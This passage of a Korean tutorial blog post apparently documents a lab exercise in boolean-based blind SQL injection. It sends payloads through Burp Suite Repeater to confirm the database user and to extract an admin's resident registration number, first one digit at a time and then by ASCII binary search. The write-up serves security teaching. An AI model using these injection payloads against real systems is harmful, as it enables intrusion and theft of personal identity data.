&lt;p data-ke-size=&quot;size16&quot;&gt;10자를 초과하는 것으로 확인된다. 14를 삽입하여 14개가 맞는지 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and length(system_user())=14 입력한 후 요청을 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1890&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beFG8Y/btsLopsHF81/7fqvJyNL22DfQ6RCHQHqpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beFG8Y/btsLopsHF81/7fqvJyNL22DfQ6RCHQHqpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beFG8Y/btsLopsHF81/7fqvJyNL22DfQ6RCHQHqpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeFG8Y%2FbtsLopsHF81%2F7fqvJyNL22DfQ6RCHQHqpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1890&quot; height=&quot;843&quot; data-origin-width=&quot;1890&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and substring(system_user(),1,14)='root@localhost' 입력 후 요청을 보내면 게시글 날짜가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과가 참이므로 사용자명은 root@localhost 인 것이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNNxHB/btsLn7eOv1n/MQmISLYUW0KVWowAb1nETK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNNxHB/btsLn7eOv1n/MQmISLYUW0KVWowAb1nETK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNNxHB/btsLn7eOv1n/MQmISLYUW0KVWowAb1nETK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNNxHB%2FbtsLn7eOv1n%2FMQmISLYUW0KVWowAb1nETK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;854&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system_user() 와 같은 기본 정보가 아닌 중요 정보를 탐색해본다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요 정보 탐색을 위해서는 메타데이터를 먼저 알아야하는데, 메타데이터 조회는 많은 시간이 필요하므로 특정 테이블 및 컬럼 정보를 획득한 상태로 가정한다. &amp;rarr; customer_info 테이블의 컬럼 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정의 주민번호를 탐색하는 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 customer_info 테이블 정보를 확인하면 다음과 같이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from customer_info;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8tGxV/btsLneM5ZtI/mJuaaIjKOxLvZRNkrOgCI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8tGxV/btsLneM5ZtI/mJuaaIjKOxLvZRNkrOgCI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8tGxV/btsLneM5ZtI/mJuaaIjKOxLvZRNkrOgCI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8tGxV%2FbtsLneM5ZtI%2FmJuaaIjKOxLvZRNkrOgCI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;188&quot; data-origin-width=&quot;495&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정의 jumin 컬럼의 데이터를 출력하기 위해서는 먼저 데이터의 길이를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;length 함수를 사용하는데, length 함수는 1개의 데이터의 길이를 출력해주는 함수로 다수의 값이 들어가면 에러가 발생하게 된다. 그러므로 SQL 쿼리를 특정 데이터만 출력할 수 있게 지정해줘야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순차적 레코드 출력을 사용하는데, limit 를 사용하여 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;limit [index],[size] &amp;rarr; index는 위치, size는 출력할 데이터 개수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select id from customer_info limit 0,1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; customer_info 테이블의 id 컬럼에서 0번 위치에서 1개 데이터 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/puKlv/btsLoCTA22i/rabDPtGDrgo846hYMtNk31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/puKlv/btsLoCTA22i/rabDPtGDrgo846hYMtNk31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/puKlv/btsLoCTA22i/rabDPtGDrgo846hYMtNk31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpuKlv%2FbtsLoCTA22i%2FrabDPtGDrgo846hYMtNk31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;322&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;limit 과 length 를 활용하여 admin의 주민번호의 길이를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select length((select jumin from customer_info limit 0,1));&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nHRz6/btsLoFJxEOH/RK9VPcyBsm8AUpzH7f5U51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nHRz6/btsLoFJxEOH/RK9VPcyBsm8AUpzH7f5U51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nHRz6/btsLoFJxEOH/RK9VPcyBsm8AUpzH7f5U51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnHRz6%2FbtsLoFJxEOH%2FRK9VPcyBsm8AUpzH7f5U51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;123&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정을 지정해서 데이터를 출력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select length((select jumin from customer_info where id='admin'));&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WoZkz/btsLpekD3c3/yQjsUpfPMlZaZhjO0yZUO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WoZkz/btsLpekD3c3/yQjsUpfPMlZaZhjO0yZUO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WoZkz/btsLpekD3c3/yQjsUpfPMlZaZhjO0yZUO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWoZkz%2FbtsLpekD3c3%2FyQjsUpfPMlZaZhjO0yZUO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;125&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;limit 0,1 과 동일하게 14가 출력된다. 이를 통해 admin 계정의 주민번호는 14자리 라는 것이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 해당 요청을 리피터로 전송하여 서버에 요청한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and length((select jumin from customer_info where id='admin'))=14 입력 후 ctrl + u 를 입력하여 URL 인코딩 후 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;842&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MfAAb/btsLoeZJp3j/Ex0oUv09YKpZh8kfiUaHH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MfAAb/btsLoeZJp3j/Ex0oUv09YKpZh8kfiUaHH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MfAAb/btsLoeZJp3j/Ex0oUv09YKpZh8kfiUaHH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMfAAb%2FbtsLoeZJp3j%2FEx0oUv09YKpZh8kfiUaHH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1916&quot; height=&quot;842&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;842&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정의 주민번호가 14자리이므로 참이 나오게 된다. (게시글 날짜 출력됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순차적 레코드로 주민번호를 1개씩 추론한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and substring((select jumin from customer_info where id='admin'),1,1)=8 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. &amp;rarr; 첫번째 숫자 8&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;851&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rDyWI/btsLrQXV3wy/VPFv287faHNTjb0o5yASKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rDyWI/btsLrQXV3wy/VPFv287faHNTjb0o5yASKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rDyWI/btsLrQXV3wy/VPFv287faHNTjb0o5yASKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrDyWI%2FbtsLrQXV3wy%2FVPFv287faHNTjb0o5yASKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1910&quot; height=&quot;851&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;851&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and substring((select jumin from customer_info where id='admin'),2,1)=1 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. &amp;rarr; 두번째 숫자 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답값이 거짓이 나오면 숫자를 차례로 대입하여 참인 결과값이 나올 때 까지 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dSrDrM/btsLqSvjxA8/Kj9vbeSS8wA7K8baLDtdhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dSrDrM/btsLqSvjxA8/Kj9vbeSS8wA7K8baLDtdhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dSrDrM/btsLqSvjxA8/Kj9vbeSS8wA7K8baLDtdhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdSrDrM%2FbtsLqSvjxA8%2FKj9vbeSS8wA7K8baLDtdhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1917&quot; height=&quot;853&quot; data-origin-width=&quot;1917&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 이진 탐색을 활용하여 주민번호를 추론해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))&amp;gt;50 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;849&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CXYKr/btsLpFX4k9d/MWsVdmmvZZ5h1YWo4nWkk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CXYKr/btsLpFX4k9d/MWsVdmmvZZ5h1YWo4nWkk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CXYKr/btsLpFX4k9d/MWsVdmmvZZ5h1YWo4nWkk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCXYKr%2FbtsLpFX4k9d%2FMWsVdmmvZZ5h1YWo4nWkk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1885&quot; height=&quot;849&quot; data-origin-width=&quot;1885&quot; data-origin-height=&quot;849&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))&amp;gt;40 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다. &amp;rarr; 세번째 숫자는 아스키코드 40 초과 50 이하라는 의미이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qloom/btsLpGo77Gu/mgVoBa8Unyxtua5dv26xeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qloom/btsLpGo77Gu/mgVoBa8Unyxtua5dv26xeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qloom/btsLpGo77Gu/mgVoBa8Unyxtua5dv26xeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqloom%2FbtsLpGo77Gu%2FmgVoBa8Unyxtua5dv26xeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1889&quot; height=&quot;862&quot; data-origin-width=&quot;1889&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;40과 50의 중간값 45를 대입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))&amp;gt;45 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1890&quot; data-origin-height=&quot;856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C3Mrr/btsLrG18U9z/2JKNyxsjnmzy9M8BGOCxLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C3Mrr/btsLrG18U9z/2JKNyxsjnmzy9M8BGOCxLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C3Mrr/btsLrG18U9z/2JKNyxsjnmzy9M8BGOCxLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC3Mrr%2FbtsLrG18U9z%2F2JKNyxsjnmzy9M8BGOCxLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1890&quot; height=&quot;856&quot; data-origin-width=&quot;1890&quot; data-origin-height=&quot;856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))&amp;gt;47 입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;855&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZvGWA/btsLpPswUcC/5YZkxYqvDEdnpFGkSj3tV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZvGWA/btsLpPswUcC/5YZkxYqvDEdnpFGkSj3tV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZvGWA/btsLpPswUcC/5YZkxYqvDEdnpFGkSj3tV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZvGWA%2FbtsLpPswUcC%2F5YZkxYqvDEdnpFGkSj3tV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1882&quot; height=&quot;855&quot; data-origin-width=&quot;1882&quot; data-origin-height=&quot;855&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))&amp;gt;48&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 거짓이 나온다. &amp;rarr; 47초과 48이하인 숫자, 48이 정답이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;859&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmrQdx/btsLqWYOMer/YjRDHaeef6nmBsyrXHvCYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmrQdx/btsLqWYOMer/YjRDHaeef6nmBsyrXHvCYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmrQdx/btsLqWYOMer/YjRDHaeef6nmBsyrXHvCYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmrQdx%2FbtsLqWYOMer%2FYjRDHaeef6nmBsyrXHvCYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1896&quot; height=&quot;859&quot; data-origin-width=&quot;1896&quot; data-origin-height=&quot;859&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;48을 대입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=10 and ascii(substring((select jumin from customer_info where id='admin'),3,1))=48 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;입력 후 URL 인코딩 적용하여 요청을 전송하면 응답값이 참이 나온다.&lt;span&gt; &amp;rarr; 아스키코드 48 = 십진수 0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1891&quot; data-origin-height=&quot;851&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9qBbG/btsLrP5Qquh/AoVDttQKwft5KthXgGR3sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9qBbG/btsLrP5Qquh/AoVDttQKwft5KthXgGR3sk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9qBbG/btsLrP5Qquh/AoVDttQKwft5KthXgGR3sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9qBbG%2FbtsLrP5Qquh%2FAoVDttQKwft5KthXgGR3sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1891&quot; height=&quot;851&quot; data-origin-width=&quot;1891&quot; data-origin-height=&quot;851&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL에서 아스키코드 48을 십진수로 변환하면 0이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select char(48);&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;242&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baPZJC/btsLpH2pIyQ/6He9ZN9wDqe2vqNwwjThc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baPZJC/btsLpH2pIyQ/6He9ZN9wDqe2vqNwwjThc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baPZJC/btsLpH2pIyQ/6He9ZN9wDqe2vqNwwjThc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaPZJC%2FbtsLpH2pIyQ%2F6He9ZN9wDqe2vqNwwjThc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;242&quot; height=&quot;134&quot; data-origin-width=&quot;242&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 admin의 세번째 주민번호가 0임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이진탐색은 탐색할 문자와 아스키코드의 크기를 계속 비교하여 추론하면 된다.&lt;/p&gt;
